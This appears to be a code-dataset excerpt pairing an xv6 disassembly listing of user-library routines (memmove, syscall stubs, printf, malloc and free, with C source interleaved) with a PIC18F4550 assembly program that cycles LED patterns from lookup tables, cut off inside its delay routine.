272: 89 55 08 mov %edx,0x8(%ebp)
275: 0f b6 00 movzbl (%eax),%eax
278: 0f be c0 movsbl %al,%eax
27b: 01 c8 add %ecx,%eax
27d: 83 e8 30 sub $0x30,%eax
280: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
283: 8b 45 08 mov 0x8(%ebp),%eax
286: 0f b6 00 movzbl (%eax),%eax
289: 3c 2f cmp $0x2f,%al
28b: 7e 0a jle 297 <atoi+0x48>
28d: 8b 45 08 mov 0x8(%ebp),%eax
290: 0f b6 00 movzbl (%eax),%eax
293: 3c 39 cmp $0x39,%al
295: 7e c7 jle 25e <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
297: 8b 45 fc mov -0x4(%ebp),%eax
}
29a: c9 leave
29b: c3 ret
0000029c <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
29c: 55 push %ebp
29d: 89 e5 mov %esp,%ebp
29f: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2a2: 8b 45 08 mov 0x8(%ebp),%eax
2a5: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
2a8: 8b 45 0c mov 0xc(%ebp),%eax
2ab: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2ae: eb 17 jmp 2c7 <memmove+0x2b>
*dst++ = *src++;
2b0: 8b 45 fc mov -0x4(%ebp),%eax
2b3: 8d 50 01 lea 0x1(%eax),%edx
2b6: 89 55 fc mov %edx,-0x4(%ebp)
2b9: 8b 55 f8 mov -0x8(%ebp),%edx
2bc: 8d 4a 01 lea 0x1(%edx),%ecx
2bf: 89 4d f8 mov %ecx,-0x8(%ebp)
2c2: 0f b6 12 movzbl (%edx),%edx
2c5: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2c7: 8b 45 10 mov 0x10(%ebp),%eax
2ca: 8d 50 ff lea -0x1(%eax),%edx
2cd: 89 55 10 mov %edx,0x10(%ebp)
2d0: 85 c0 test %eax,%eax
2d2: 7f dc jg 2b0 <memmove+0x14>
*dst++ = *src++;
return vdst;
2d4: 8b 45 08 mov 0x8(%ebp),%eax
}
2d7: c9 leave
2d8: c3 ret
000002d9 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2d9: b8 01 00 00 00 mov $0x1,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <exit>:
SYSCALL(exit)
2e1: b8 02 00 00 00 mov $0x2,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <wait>:
SYSCALL(wait)
2e9: b8 03 00 00 00 mov $0x3,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <pipe>:
SYSCALL(pipe)
2f1: b8 04 00 00 00 mov $0x4,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <read>:
SYSCALL(read)
2f9: b8 05 00 00 00 mov $0x5,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <write>:
SYSCALL(write)
301: b8 10 00 00 00 mov $0x10,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <close>:
SYSCALL(close)
309: b8 15 00 00 00 mov $0x15,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <kill>:
SYSCALL(kill)
311: b8 06 00 00 00 mov $0x6,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <exec>:
SYSCALL(exec)
319: b8 07 00 00 00 mov $0x7,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <open>:
SYSCALL(open)
321: b8 0f 00 00 00 mov $0xf,%eax
326: cd 40 int $0x40
328: c3 ret
00000329 <mknod>:
SYSCALL(mknod)
329: b8 11 00 00 00 mov $0x11,%eax
32e: cd 40 int $0x40
330: c3 ret
00000331 <unlink>:
SYSCALL(unlink)
331: b8 12 00 00 00 mov $0x12,%eax
336: cd 40 int $0x40
338: c3 ret
00000339 <fstat>:
SYSCALL(fstat)
339: b8 08 00 00 00 mov $0x8,%eax
33e: cd 40 int $0x40
340: c3 ret
00000341 <link>:
SYSCALL(link)
341: b8 13 00 00 00 mov $0x13,%eax
346: cd 40 int $0x40
348: c3 ret
00000349 <mkdir>:
SYSCALL(mkdir)
349: b8 14 00 00 00 mov $0x14,%eax
34e: cd 40 int $0x40
350: c3 ret
00000351 <chdir>:
SYSCALL(chdir)
351: b8 09 00 00 00 mov $0x9,%eax
356: cd 40 int $0x40
358: c3 ret
00000359 <dup>:
SYSCALL(dup)
359: b8 0a 00 00 00 mov $0xa,%eax
35e: cd 40 int $0x40
360: c3 ret
00000361 <getpid>:
SYSCALL(getpid)
361: b8 0b 00 00 00 mov $0xb,%eax
366: cd 40 int $0x40
368: c3 ret
00000369 <sbrk>:
SYSCALL(sbrk)
369: b8 0c 00 00 00 mov $0xc,%eax
36e: cd 40 int $0x40
370: c3 ret
00000371 <sleep>:
SYSCALL(sleep)
371: b8 0d 00 00 00 mov $0xd,%eax
376: cd 40 int $0x40
378: c3 ret
00000379 <uptime>:
SYSCALL(uptime)
379: b8 0e 00 00 00 mov $0xe,%eax
37e: cd 40 int $0x40
380: c3 ret
00000381 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
381: 55 push %ebp
382: 89 e5 mov %esp,%ebp
384: 83 ec 18 sub $0x18,%esp
387: 8b 45 0c mov 0xc(%ebp),%eax
38a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
38d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
394: 00
395: 8d 45 f4 lea -0xc(%ebp),%eax
398: 89 44 24 04 mov %eax,0x4(%esp)
39c: 8b 45 08 mov 0x8(%ebp),%eax
39f: 89 04 24 mov %eax,(%esp)
3a2: e8 5a ff ff ff call 301 <write>
}
3a7: c9 leave
3a8: c3 ret
000003a9 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3a9: 55 push %ebp
3aa: 89 e5 mov %esp,%ebp
3ac: 56 push %esi
3ad: 53 push %ebx
3ae: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3b1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3b8: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3bc: 74 17 je 3d5 <printint+0x2c>
3be: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3c2: 79 11 jns 3d5 <printint+0x2c>
neg = 1;
3c4: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3cb: 8b 45 0c mov 0xc(%ebp),%eax
3ce: f7 d8 neg %eax
3d0: 89 45 ec mov %eax,-0x14(%ebp)
3d3: eb 06 jmp 3db <printint+0x32>
} else {
x = xx;
3d5: 8b 45 0c mov 0xc(%ebp),%eax
3d8: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3db: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3e2: 8b 4d f4 mov -0xc(%ebp),%ecx
3e5: 8d 41 01 lea 0x1(%ecx),%eax
3e8: 89 45 f4 mov %eax,-0xc(%ebp)
3eb: 8b 5d 10 mov 0x10(%ebp),%ebx
3ee: 8b 45 ec mov -0x14(%ebp),%eax
3f1: ba 00 00 00 00 mov $0x0,%edx
3f6: f7 f3 div %ebx
3f8: 89 d0 mov %edx,%eax
3fa: 0f b6 80 a0 0a 00 00 movzbl 0xaa0(%eax),%eax
401: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
405: 8b 75 10 mov 0x10(%ebp),%esi
408: 8b 45 ec mov -0x14(%ebp),%eax
40b: ba 00 00 00 00 mov $0x0,%edx
410: f7 f6 div %esi
412: 89 45 ec mov %eax,-0x14(%ebp)
415: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
419: 75 c7 jne 3e2 <printint+0x39>
if(neg)
41b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
41f: 74 10 je 431 <printint+0x88>
buf[i++] = '-';
421: 8b 45 f4 mov -0xc(%ebp),%eax
424: 8d 50 01 lea 0x1(%eax),%edx
427: 89 55 f4 mov %edx,-0xc(%ebp)
42a: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
42f: eb 1f jmp 450 <printint+0xa7>
431: eb 1d jmp 450 <printint+0xa7>
putc(fd, buf[i]);
433: 8d 55 dc lea -0x24(%ebp),%edx
436: 8b 45 f4 mov -0xc(%ebp),%eax
439: 01 d0 add %edx,%eax
43b: 0f b6 00 movzbl (%eax),%eax
43e: 0f be c0 movsbl %al,%eax
441: 89 44 24 04 mov %eax,0x4(%esp)
445: 8b 45 08 mov 0x8(%ebp),%eax
448: 89 04 24 mov %eax,(%esp)
44b: e8 31 ff ff ff call 381 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
450: 83 6d f4 01 subl $0x1,-0xc(%ebp)
454: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
458: 79 d9 jns 433 <printint+0x8a>
putc(fd, buf[i]);
}
45a: 83 c4 30 add $0x30,%esp
45d: 5b pop %ebx
45e: 5e pop %esi
45f: 5d pop %ebp
460: c3 ret
00000461 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
461: 55 push %ebp
462: 89 e5 mov %esp,%ebp
464: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
467: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
46e: 8d 45 0c lea 0xc(%ebp),%eax
471: 83 c0 04 add $0x4,%eax
474: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
477: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
47e: e9 7c 01 00 00 jmp 5ff <printf+0x19e>
c = fmt[i] & 0xff;
483: 8b 55 0c mov 0xc(%ebp),%edx
486: 8b 45 f0 mov -0x10(%ebp),%eax
489: 01 d0 add %edx,%eax
48b: 0f b6 00 movzbl (%eax),%eax
48e: 0f be c0 movsbl %al,%eax
491: 25 ff 00 00 00 and $0xff,%eax
496: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
499: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
49d: 75 2c jne 4cb <printf+0x6a>
if(c == '%'){
49f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4a3: 75 0c jne 4b1 <printf+0x50>
state = '%';
4a5: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4ac: e9 4a 01 00 00 jmp 5fb <printf+0x19a>
} else {
putc(fd, c);
4b1: 8b 45 e4 mov -0x1c(%ebp),%eax
4b4: 0f be c0 movsbl %al,%eax
4b7: 89 44 24 04 mov %eax,0x4(%esp)
4bb: 8b 45 08 mov 0x8(%ebp),%eax
4be: 89 04 24 mov %eax,(%esp)
4c1: e8 bb fe ff ff call 381 <putc>
4c6: e9 30 01 00 00 jmp 5fb <printf+0x19a>
}
} else if(state == '%'){
4cb: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4cf: 0f 85 26 01 00 00 jne 5fb <printf+0x19a>
if(c == 'd'){
4d5: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4d9: 75 2d jne 508 <printf+0xa7>
printint(fd, *ap, 10, 1);
4db: 8b 45 e8 mov -0x18(%ebp),%eax
4de: 8b 00 mov (%eax),%eax
4e0: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
4e7: 00
4e8: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
4ef: 00
4f0: 89 44 24 04 mov %eax,0x4(%esp)
4f4: 8b 45 08 mov 0x8(%ebp),%eax
4f7: 89 04 24 mov %eax,(%esp)
4fa: e8 aa fe ff ff call 3a9 <printint>
ap++;
4ff: 83 45 e8 04 addl $0x4,-0x18(%ebp)
503: e9 ec 00 00 00 jmp 5f4 <printf+0x193>
} else if(c == 'x' || c == 'p'){
508: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
50c: 74 06 je 514 <printf+0xb3>
50e: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
512: 75 2d jne 541 <printf+0xe0>
printint(fd, *ap, 16, 0);
514: 8b 45 e8 mov -0x18(%ebp),%eax
517: 8b 00 mov (%eax),%eax
519: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
520: 00
521: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
528: 00
529: 89 44 24 04 mov %eax,0x4(%esp)
52d: 8b 45 08 mov 0x8(%ebp),%eax
530: 89 04 24 mov %eax,(%esp)
533: e8 71 fe ff ff call 3a9 <printint>
ap++;
538: 83 45 e8 04 addl $0x4,-0x18(%ebp)
53c: e9 b3 00 00 00 jmp 5f4 <printf+0x193>
} else if(c == 's'){
541: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
545: 75 45 jne 58c <printf+0x12b>
s = (char*)*ap;
547: 8b 45 e8 mov -0x18(%ebp),%eax
54a: 8b 00 mov (%eax),%eax
54c: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
54f: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
553: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
557: 75 09 jne 562 <printf+0x101>
s = "(null)";
559: c7 45 f4 54 08 00 00 movl $0x854,-0xc(%ebp)
while(*s != 0){
560: eb 1e jmp 580 <printf+0x11f>
562: eb 1c jmp 580 <printf+0x11f>
putc(fd, *s);
564: 8b 45 f4 mov -0xc(%ebp),%eax
567: 0f b6 00 movzbl (%eax),%eax
56a: 0f be c0 movsbl %al,%eax
56d: 89 44 24 04 mov %eax,0x4(%esp)
571: 8b 45 08 mov 0x8(%ebp),%eax
574: 89 04 24 mov %eax,(%esp)
577: e8 05 fe ff ff call 381 <putc>
s++;
57c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
580: 8b 45 f4 mov -0xc(%ebp),%eax
583: 0f b6 00 movzbl (%eax),%eax
586: 84 c0 test %al,%al
588: 75 da jne 564 <printf+0x103>
58a: eb 68 jmp 5f4 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
58c: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
590: 75 1d jne 5af <printf+0x14e>
putc(fd, *ap);
592: 8b 45 e8 mov -0x18(%ebp),%eax
595: 8b 00 mov (%eax),%eax
597: 0f be c0 movsbl %al,%eax
59a: 89 44 24 04 mov %eax,0x4(%esp)
59e: 8b 45 08 mov 0x8(%ebp),%eax
5a1: 89 04 24 mov %eax,(%esp)
5a4: e8 d8 fd ff ff call 381 <putc>
ap++;
5a9: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5ad: eb 45 jmp 5f4 <printf+0x193>
} else if(c == '%'){
5af: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5b3: 75 17 jne 5cc <printf+0x16b>
putc(fd, c);
5b5: 8b 45 e4 mov -0x1c(%ebp),%eax
5b8: 0f be c0 movsbl %al,%eax
5bb: 89 44 24 04 mov %eax,0x4(%esp)
5bf: 8b 45 08 mov 0x8(%ebp),%eax
5c2: 89 04 24 mov %eax,(%esp)
5c5: e8 b7 fd ff ff call 381 <putc>
5ca: eb 28 jmp 5f4 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5cc: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
5d3: 00
5d4: 8b 45 08 mov 0x8(%ebp),%eax
5d7: 89 04 24 mov %eax,(%esp)
5da: e8 a2 fd ff ff call 381 <putc>
putc(fd, c);
5df: 8b 45 e4 mov -0x1c(%ebp),%eax
5e2: 0f be c0 movsbl %al,%eax
5e5: 89 44 24 04 mov %eax,0x4(%esp)
5e9: 8b 45 08 mov 0x8(%ebp),%eax
5ec: 89 04 24 mov %eax,(%esp)
5ef: e8 8d fd ff ff call 381 <putc>
}
state = 0;
5f4: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5fb: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5ff: 8b 55 0c mov 0xc(%ebp),%edx
602: 8b 45 f0 mov -0x10(%ebp),%eax
605: 01 d0 add %edx,%eax
607: 0f b6 00 movzbl (%eax),%eax
60a: 84 c0 test %al,%al
60c: 0f 85 71 fe ff ff jne 483 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
612: c9 leave
613: c3 ret
00000614 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
614: 55 push %ebp
615: 89 e5 mov %esp,%ebp
617: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
61a: 8b 45 08 mov 0x8(%ebp),%eax
61d: 83 e8 08 sub $0x8,%eax
620: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
623: a1 bc 0a 00 00 mov 0xabc,%eax
628: 89 45 fc mov %eax,-0x4(%ebp)
62b: eb 24 jmp 651 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
62d: 8b 45 fc mov -0x4(%ebp),%eax
630: 8b 00 mov (%eax),%eax
632: 3b 45 fc cmp -0x4(%ebp),%eax
635: 77 12 ja 649 <free+0x35>
637: 8b 45 f8 mov -0x8(%ebp),%eax
63a: 3b 45 fc cmp -0x4(%ebp),%eax
63d: 77 24 ja 663 <free+0x4f>
63f: 8b 45 fc mov -0x4(%ebp),%eax
642: 8b 00 mov (%eax),%eax
644: 3b 45 f8 cmp -0x8(%ebp),%eax
647: 77 1a ja 663 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
649: 8b 45 fc mov -0x4(%ebp),%eax
64c: 8b 00 mov (%eax),%eax
64e: 89 45 fc mov %eax,-0x4(%ebp)
651: 8b 45 f8 mov -0x8(%ebp),%eax
654: 3b 45 fc cmp -0x4(%ebp),%eax
657: 76 d4 jbe 62d <free+0x19>
659: 8b 45 fc mov -0x4(%ebp),%eax
65c: 8b 00 mov (%eax),%eax
65e: 3b 45 f8 cmp -0x8(%ebp),%eax
661: 76 ca jbe 62d <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
663: 8b 45 f8 mov -0x8(%ebp),%eax
666: 8b 40 04 mov 0x4(%eax),%eax
669: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
670: 8b 45 f8 mov -0x8(%ebp),%eax
673: 01 c2 add %eax,%edx
675: 8b 45 fc mov -0x4(%ebp),%eax
678: 8b 00 mov (%eax),%eax
67a: 39 c2 cmp %eax,%edx
67c: 75 24 jne 6a2 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
67e: 8b 45 f8 mov -0x8(%ebp),%eax
681: 8b 50 04 mov 0x4(%eax),%edx
684: 8b 45 fc mov -0x4(%ebp),%eax
687: 8b 00 mov (%eax),%eax
689: 8b 40 04 mov 0x4(%eax),%eax
68c: 01 c2 add %eax,%edx
68e: 8b 45 f8 mov -0x8(%ebp),%eax
691: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
694: 8b 45 fc mov -0x4(%ebp),%eax
697: 8b 00 mov (%eax),%eax
699: 8b 10 mov (%eax),%edx
69b: 8b 45 f8 mov -0x8(%ebp),%eax
69e: 89 10 mov %edx,(%eax)
6a0: eb 0a jmp 6ac <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6a2: 8b 45 fc mov -0x4(%ebp),%eax
6a5: 8b 10 mov (%eax),%edx
6a7: 8b 45 f8 mov -0x8(%ebp),%eax
6aa: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6ac: 8b 45 fc mov -0x4(%ebp),%eax
6af: 8b 40 04 mov 0x4(%eax),%eax
6b2: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6b9: 8b 45 fc mov -0x4(%ebp),%eax
6bc: 01 d0 add %edx,%eax
6be: 3b 45 f8 cmp -0x8(%ebp),%eax
6c1: 75 20 jne 6e3 <free+0xcf>
p->s.size += bp->s.size;
6c3: 8b 45 fc mov -0x4(%ebp),%eax
6c6: 8b 50 04 mov 0x4(%eax),%edx
6c9: 8b 45 f8 mov -0x8(%ebp),%eax
6cc: 8b 40 04 mov 0x4(%eax),%eax
6cf: 01 c2 add %eax,%edx
6d1: 8b 45 fc mov -0x4(%ebp),%eax
6d4: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6d7: 8b 45 f8 mov -0x8(%ebp),%eax
6da: 8b 10 mov (%eax),%edx
6dc: 8b 45 fc mov -0x4(%ebp),%eax
6df: 89 10 mov %edx,(%eax)
6e1: eb 08 jmp 6eb <free+0xd7>
} else
p->s.ptr = bp;
6e3: 8b 45 fc mov -0x4(%ebp),%eax
6e6: 8b 55 f8 mov -0x8(%ebp),%edx
6e9: 89 10 mov %edx,(%eax)
freep = p;
6eb: 8b 45 fc mov -0x4(%ebp),%eax
6ee: a3 bc 0a 00 00 mov %eax,0xabc
}
6f3: c9 leave
6f4: c3 ret
000006f5 <morecore>:
static Header*
morecore(uint nu)
{
6f5: 55 push %ebp
6f6: 89 e5 mov %esp,%ebp
6f8: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
6fb: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
702: 77 07 ja 70b <morecore+0x16>
nu = 4096;
704: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
70b: 8b 45 08 mov 0x8(%ebp),%eax
70e: c1 e0 03 shl $0x3,%eax
711: 89 04 24 mov %eax,(%esp)
714: e8 50 fc ff ff call 369 <sbrk>
719: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
71c: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
720: 75 07 jne 729 <morecore+0x34>
return 0;
722: b8 00 00 00 00 mov $0x0,%eax
727: eb 22 jmp 74b <morecore+0x56>
hp = (Header*)p;
729: 8b 45 f4 mov -0xc(%ebp),%eax
72c: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
72f: 8b 45 f0 mov -0x10(%ebp),%eax
732: 8b 55 08 mov 0x8(%ebp),%edx
735: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
738: 8b 45 f0 mov -0x10(%ebp),%eax
73b: 83 c0 08 add $0x8,%eax
73e: 89 04 24 mov %eax,(%esp)
741: e8 ce fe ff ff call 614 <free>
return freep;
746: a1 bc 0a 00 00 mov 0xabc,%eax
}
74b: c9 leave
74c: c3 ret
0000074d <malloc>:
void*
malloc(uint nbytes)
{
74d: 55 push %ebp
74e: 89 e5 mov %esp,%ebp
750: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
753: 8b 45 08 mov 0x8(%ebp),%eax
756: 83 c0 07 add $0x7,%eax
759: c1 e8 03 shr $0x3,%eax
75c: 83 c0 01 add $0x1,%eax
75f: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
762: a1 bc 0a 00 00 mov 0xabc,%eax
767: 89 45 f0 mov %eax,-0x10(%ebp)
76a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
76e: 75 23 jne 793 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
770: c7 45 f0 b4 0a 00 00 movl $0xab4,-0x10(%ebp)
777: 8b 45 f0 mov -0x10(%ebp),%eax
77a: a3 bc 0a 00 00 mov %eax,0xabc
77f: a1 bc 0a 00 00 mov 0xabc,%eax
784: a3 b4 0a 00 00 mov %eax,0xab4
base.s.size = 0;
789: c7 05 b8 0a 00 00 00 movl $0x0,0xab8
790: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
793: 8b 45 f0 mov -0x10(%ebp),%eax
796: 8b 00 mov (%eax),%eax
798: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
79b: 8b 45 f4 mov -0xc(%ebp),%eax
79e: 8b 40 04 mov 0x4(%eax),%eax
7a1: 3b 45 ec cmp -0x14(%ebp),%eax
7a4: 72 4d jb 7f3 <malloc+0xa6>
if(p->s.size == nunits)
7a6: 8b 45 f4 mov -0xc(%ebp),%eax
7a9: 8b 40 04 mov 0x4(%eax),%eax
7ac: 3b 45 ec cmp -0x14(%ebp),%eax
7af: 75 0c jne 7bd <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7b1: 8b 45 f4 mov -0xc(%ebp),%eax
7b4: 8b 10 mov (%eax),%edx
7b6: 8b 45 f0 mov -0x10(%ebp),%eax
7b9: 89 10 mov %edx,(%eax)
7bb: eb 26 jmp 7e3 <malloc+0x96>
else {
p->s.size -= nunits;
7bd: 8b 45 f4 mov -0xc(%ebp),%eax
7c0: 8b 40 04 mov 0x4(%eax),%eax
7c3: 2b 45 ec sub -0x14(%ebp),%eax
7c6: 89 c2 mov %eax,%edx
7c8: 8b 45 f4 mov -0xc(%ebp),%eax
7cb: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7ce: 8b 45 f4 mov -0xc(%ebp),%eax
7d1: 8b 40 04 mov 0x4(%eax),%eax
7d4: c1 e0 03 shl $0x3,%eax
7d7: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7da: 8b 45 f4 mov -0xc(%ebp),%eax
7dd: 8b 55 ec mov -0x14(%ebp),%edx
7e0: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7e3: 8b 45 f0 mov -0x10(%ebp),%eax
7e6: a3 bc 0a 00 00 mov %eax,0xabc
return (void*)(p + 1);
7eb: 8b 45 f4 mov -0xc(%ebp),%eax
7ee: 83 c0 08 add $0x8,%eax
7f1: eb 38 jmp 82b <malloc+0xde>
}
if(p == freep)
7f3: a1 bc 0a 00 00 mov 0xabc,%eax
7f8: 39 45 f4 cmp %eax,-0xc(%ebp)
7fb: 75 1b jne 818 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
7fd: 8b 45 ec mov -0x14(%ebp),%eax
800: 89 04 24 mov %eax,(%esp)
803: e8 ed fe ff ff call 6f5 <morecore>
808: 89 45 f4 mov %eax,-0xc(%ebp)
80b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80f: 75 07 jne 818 <malloc+0xcb>
return 0;
811: b8 00 00 00 00 mov $0x0,%eax
816: eb 13 jmp 82b <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
818: 8b 45 f4 mov -0xc(%ebp),%eax
81b: 89 45 f0 mov %eax,-0x10(%ebp)
81e: 8b 45 f4 mov -0xc(%ebp),%eax
821: 8b 00 mov (%eax),%eax
823: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
826: e9 70 ff ff ff jmp 79b <malloc+0x4e>
}
82b: c9 leave
82c: c3 ret
| tzulang/xv6_4 | ln.asm | Assembly | mit | 40,566 |
list p=18f4550 ;Modelo del microcontrolador
#include <p18f4550.inc> ;librería de nombres
;Zona de los bits de configuración del microcontroleitor
CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT))
CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software)
CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit))
CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset)
CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled)
cblock 0x0020 ;Zona de declaración de etiquetas a los
cta_a ;registros GPR (variables)
cta_b
cta_c
endc
org 0x0200
teibol1 db 0x81, 0x42, 0x24, 0x18, 0x24, 0x42
org 0x0300
teibol2 db 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02
org 0x0000 ;Vector de reset
goto configura
org 0x0020
configura:
clrf TRISB ;Todo el puertoB como salida
inicio:
btfss PORTD, 0
goto falsazo
verdaderazo:
movlw UPPER teibol1
movwf TBLPTRU
movlw HIGH teibol1
movwf TBLPTRH
movlw LOW teibol1
movwf TBLPTRL
otrazo1:
TBLRD*+
movff TABLAT, LATB
call delaymon
movlw .5
cpfsgt TBLPTRL
goto otrazo1
clrf TBLPTRL
goto inicio
falsazo:
movlw UPPER teibol2
movwf TBLPTRU
movlw HIGH teibol2
movwf TBLPTRH
movlw LOW teibol2
movwf TBLPTRL
otrazo2:
TBLRD*+
movff TABLAT, LATB
call delaymon
movlw .13
cpfsgt TBLPTRL
goto otrazo2
clrf TBLPTRL
goto inicio
;Subrutina de retardo
delaymon:
movlw .100
movwf cta_a
otro1:
call bucle2
